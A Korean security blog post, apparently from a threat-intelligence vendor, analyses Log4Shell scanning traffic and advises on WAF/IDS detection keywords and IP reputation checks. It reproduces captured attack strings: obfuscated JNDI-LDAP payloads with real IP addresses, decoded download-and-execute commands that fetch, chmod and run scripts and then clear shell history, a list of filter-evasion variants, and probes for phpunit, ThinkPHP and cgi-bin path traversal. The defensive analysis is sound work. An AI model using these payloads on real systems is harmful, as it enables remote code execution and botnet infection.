Log4j 취약점이 전 세계를 강타했다. 해커들은 서버를 장악하기 위해 Log4j의 취약점이 감염된 서버를 찾아 전 세계의 모든 서버들을 매일같이 스캔하고 있다. 해커들이 log4j 취약점을 보유한 서버를 찾기 위해 어떤 스캐닝 기술을 사용하는지 살펴보았다.
공격자들은 가장 일차원적인 방법으로 “${jndi:ldap://***.*.**.***:53/c}” 패킷을 전송해 보고 서버의 반응을 살펴본다. 하지만 이 패턴은 언론 등에 너무나도 많이 공개가 되어 왔고, IDS/IPS에서 빠르게 탐지되어 차단이 되고 있다. 따라서 아래 표와 같은 변형된 공격이 사용되고 있다. 변형된 공격 패킷은 jndi:ldap 해당 시그니처를 탐지되지 않도록 j}ndi, {${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}, ${jndi:${lower:l}${lower:d}a${lower:p} 등의 형태로 페이로드를 쪼개서 전송하는 방식을 사용한다.
Log4j 일반적인 공격 패턴 |
---|
""t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//***.**.**.***:2420/TomcatBypass/Command/Base64/d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pdC5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOyBybSAtcmYgRXhwbG9pdC5zaA==}')"" ""t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//***.**.**.***:2420/TomcatBypass/Command/Base64/d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pdC5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOyBybSAtcmYgRXhwbG9pdC5zaA==}')"" 8080" |
"GET /?q=%24%7Bjndi%3Aldap%3A%2F%2F45.12.32.61%3A1389%2FOS%3D%24%7Bsys%3Aos.name%7D%2FHN%3D%24%7Benv%3AHOSTNAME%7D%2Ffeb12a13-5fe3-429a-bd12-ed0c72e2ad20%7D HTTP/1.1"" 403 152 ""-"" ""${jndi:ldap://45.12.32.61:1389/OS=${sys:os.name}/HN=${env:HOSTNAME}/feb12a13-5fe3-429a-bd12-ed0c72e2ad20}"" 80" |
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjguMjM1LjgyLjU1OjgwODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTY4LjIzNS44Mi41NTo4MDgwKXxiYXNo |
${jndi:${lower:l}${lower:d}a${lower:p}://world8000.log4j.bin${upper:a}ryedge.io:80/callback} |
인코딩이 추가된 공격 패턴
해커들은 그 외에도 ldap 프로토콜 이후의 문자열 쿼리 부분을 인코딩하여 공격 패턴을 피해가는 방법도 사용하고 있다. 인코딩을 추가하면, 방화벽이나 각종 보안장비의 탐지를 피해갈 수 있고, 보안팀에서 ESM 등으로 수집하는 로그분석의 탐지되는 방법도 피해갈 수 있다. 아래 표에서 보이는 방법들이 그 대표적인 예제들이다. Base64 를 이용하여 쿼리를 통째로 인코딩해 놓았다는 것을 확인할 수 있다. 아마 이 인코딩을 디코딩하여 살펴보면 wget, bash, python, chmod 등 공격에 사용될 것으로 짐작되는 리눅스 명령어가 포함되어 있지 않을까 예상할 수 있다. 실제로 디코딩하여 살펴보자.
인코딩이 추가된 공격 패턴 | |
---|---|
('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//209.141.57.192:2420/TomcatBypass/Command/Base64/d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pdC5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOyBybSAtcmYgRXhwbG9pdC5zaA==}')" | |
('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTU4LjEwMS4xMTguMjM2L3NldHVwOyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvc2V0dXA7IGNobW9kIDc3NyBzZXR1cDsgLi9zZXR1cCBleHBsb2l0}')" | |
{jndi:ldap://121.140.99.236:1389/Exploit} | |
{jndi:dns://168-235-82-55.referer.scanworld.net}" "{jndi:dns://168-235-82-55.useragent.scanworld.net} | |
|
|
|
|
"t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//5.181.80.103:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzEzNS4xNDguOTEuMTQ2L2JpbnMuc2ggLW8gYmlucy5zaDsgd2dldCBodHRwOi8vMTM1LjE0OC45MS4xNDYvYmlucy5zaDsgY2htb2QgNzc3IGJpbnMuc2g7IHNoIGJpbnMuc2g7IHJtIC1yZiBiaW5zLnNoOyBoaXN0b3J5IC1j}')" |
아래 표는 인코딩된 쿼리를 실제 decoding을 해본 결과 내용이다.
첫 번째 케이스는 해커들이 만들어 놓은 서버에서 파일을 wget, curl을 통해 공격 스크립트로 예상되는 exploit.sh 파일을 다운로드 한 후 다운로드한 파일에 대해 실행 권한을 부여하고, 스크립트를 가동시켜 악성코드에 감염시킬 수 있도록 처리하는 내용이라는 것을 확인할 수 있다. 특히 악성 bash 파일을 실행 후 삭제까지 하는 치밀함을 보여주는데 이런 경우는 backdoor, 트로이목마, keylogger 등을 설치하는 경우가 많다.
두번째 공격의 경우 ‘wget http://158.101.118.236/setup; curl -O http://158.101.118.236/setup;’ wget, curl을 두번 실행하도록 되어있는데 이는 서버에 wget이 설치가 되어있지 않은경우까지 감안하여 curl이 실행되도록 코드를 짜놓은, 다양한 환경에서도 감염이 잘 될 수 있도록 많은 신경을 쓰고 있는 해커가 만든 스크립트로 보인다. 역시 첫 번째 케이스와 마찬가지로 chmod 777 로 권한을 변경하여 실행가능한 스크립트로 변경한 뒤, 해당 파일을 실행하여 감염시키는 케이스다.
세번째 공격의 경우는 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; 등의 패턴이 보이는데 이런 흐름은 Botnet 공격에 자주 사용되는 형태로 알려져 있다. bin.sh 파일을 분석해본 결과 동일하게 봇넷 악성코드를 실행하기위한 발판임을 알 수 있다. 최근 Mozi 봇넷 주의보가 발령이 되었는데 이런 공격 형태와 연관이 깊은 것으로 알려져 있다.
Encoding | Decoding | |
---|---|---|
1 | /TomcatBypass/Command/Base64/d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pdC5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOyBybSAtcmYgRXhwbG9pdC5zaA==}') | wget **.***.**.**/Exploit.sh; chmod +x Exploit.sh; ./Exploit.sh; rm -rf Exploit.sh |
2 | TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTU4LjEwMS4xMTguMjM2L3NldHVwOyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvc2V0dXA7IGNobW9kIDc3NyBzZXR1cDsgLi9zZXR1cCBleHBsb2l0}') | wget http://158.101.118.236/setup; curl -O http://158.101.118.236/setup; chmod 777 setup; ./setup exploit |
3 | /TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE5Mi45NS41MC4yMjgvYmlucy5zaCAtbyBiaW5zLnNoOyB3Z2V0IGh0dHA6Ly8xOTIuOTUuNTAuMjI4L2JpbnMuc2g7IGNobW9kIDc3NyBiaW5zLnNoOyBzaCBiaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYyA=}')" | cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl http://192.95.50.228/bins.sh -o bins.sh; wget http://192.95.50.228/bins.sh; chmod 777 bins.sh; sh bins.sh; rm -rf bins.sh; history -c |
4 | TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzEzNS4xNDguOTEuMTQ2L2JpbnMuc2ggLW8gYmlucy5zaDsgd2dldCBodHRwOi8vMTM1LjE0OC45MS4xNDYvYmlucy5zaDsgY2htb2QgNzc3IGJpbnMuc2g7IHNoIGJpbnMuc2g7IHJtIC1yZiBiaW5zLnNoOyBoaXN0b3J5IC1j}') | cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl http://135.148.91.146/bins.sh -o bins.sh; wget http://135.148.91.146/bins.sh; chmod 777 bins.sh; sh bins.sh; rm -rf bins.sh; history -c |
이렇게 log4j 취약점이 존재한다면 특정 서버 IP 주소에서 악성코드나 공격코드로 예상되는 파일을 다운로드 하는 형태의 공격이 많이 보인다. 이때 디코딩을 했을때 wget이나 curl 등으로 다운로브 받는 곳의 IP 주소를 Criminal IP 로 체크해 보면 대부분 Critical 한 IP 주소임을 확인할 수 있다.

먼저 IPS/IDS/WAF 단에서 방어하는 방법은, 룰을 피해가기 위해 해커가 많은 변칙 방법을 동원하는 만큼, 그에 대한 대응이 필요하다. 아래 공격 키워드를 보고 하나하나 등록을 할 필요는 없다. 그렇다고 정규식또한 많이 할 필요없다. 공통점으로 보이는 부분은 ‘jndi:ldap://hacker-server/Query ‘ 이 포맷이다. 일반적으로 log4j 탐지를 위해 ‘jndi’,’ldap’은 등록을 해 놓았을 것이다. 여기에 ‘${:’, ‘rmi’, ‘${lower:’ 해당 키워드를 통해 해당 공격을 탐지할 수 있다.
${jndi:ldap://domain.com/j} ${jndi:ldap:/domain.com/a} ${jndi:dns:/domain.com} ${jndi:dns://domain.com/j} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j} ${${::-j}ndi:rmi://domain.com/j} ${jndi:rmi://domainldap.com/j} ${${lower:jndi}:${lower:rmi}://domain.com/j} ${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j} ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://domain.com/j} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j} ${jndi:${lower:l}${lower:d}a${lower:p}://domain.com} ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a} ${jn${env::-}di:ldap://domain.com/j} ${jn${date:}di${date:’:’}ldap://domain.com/j} ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://domain.com/j} ${j${main:\k5:-Nd}i${spring:k5:-:}ldap://domain.com/j} ${j${sys:k5:-nD}${lower:i${web:k5:-:}}ldap://domain.com/j} ${j${::-nD}i${::-:}ldap://domain.com/j} ${j${EnV:K5:-nD}i:ldap://domain.com/j} ${j${loWer:Nd}i${uPper::}ldap://domain.com/j} ${jndi:ldap://127.0.0.1#domain.com/j} ${jnd${upper:ı}:ldap://domain.com/j} ${jnd${sys:SYS_NAME:-i}:ldap:/domain.com/j} ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://domain.com/j} ${${date:’j’}${date:’n’}${date:’d’}${date:’i’}:${date:’l’}${date:’d’}${date:’a’}${date:’p’}://domain.com/j} ${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://domain.com/j} ${\u006a\u006e\u0064\u0069:ldap://domain.com/j} ${jn${lower:d}i:l${lower:d}ap://${lower:x}${lower:f}.domain.com/j} ${j${k8s:k5:-ND}${sd:k5:-${123%25ff:-${123%25ff:-${upper:ı}:}}}ldap://domain.com/j} %24%7Bjndi:ldap://domain.com/j%7D %24%7Bjn$%7Benv::-%7Ddi:ldap://domain.com/j%7D |
또한 쿼리 안에 들어가 있는 url 이나 IP 주소를 IP Intelligence 시스템을 이용하여 검증을 진행한다. 예를 들어 Criminal IP 로 확인해본 결과 아래 쿼리에 들어가 있는 46.161.52.37 의 경우는 보안 취약점이 존재하고 있으며, honeypot 에도 등록된 이력이 있고, Snort 시그니처에도 포함된 내용이 스코어링으로 계산되어 Critical IP 로 진단되고 있다.
http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6; cat db0fa4b8db0333367e9bda3ab68b8042.arm6 > Exploit; chmod +x *; ./Exploit log4j2 |

참고로 아래 공격 패킷은 log4j 스캐닝과 함께 발견된 내용 중 하나다. 해커들은 단순히 하나의 공격만 진행하는 것이 아니다. Log4j에 대한 이슈가 터졌으니 Log4j에 대해서만 방어를 진행하면 되겠지라는 생각을 하지 않고 Log4j의 공격이 들어온 ip에 대한 다른 로그들은 어떤 것들이 있는지 확인을 할 필요가있다. 수집한 웹로그에서 Log4j공격을 하기전에 대규모 스캔 공격 및 원격 코드 실행 공격을 진행한 것을 알 수 있었다. 따라서 보안 패치를 할 떄 이슈가 터진 공격에 대해서 보안 패치를 진행을 하는것도 중요하지만 기존의 이슈 또는 놓쳤던 보안 패치를 진행하는 것도 중요하다.
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET /solr/admin/info/system?wt=json GET /securityRealm/user/admin/search/index?q=a HTTP/1.1 GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1″ GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1 GET /console/ POST /Autodiscover/Autodiscover.xml HTTP/1.1 POST /_ignition/execute-solution HTTP/1.1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 <- cat/etc/passwd “POST /api/v1 HTTP/1.1 |
주1) log4shell – Quick Guide , https://musana.net/2021/12/13/log4shell-Quick-Guide
댓글 남기기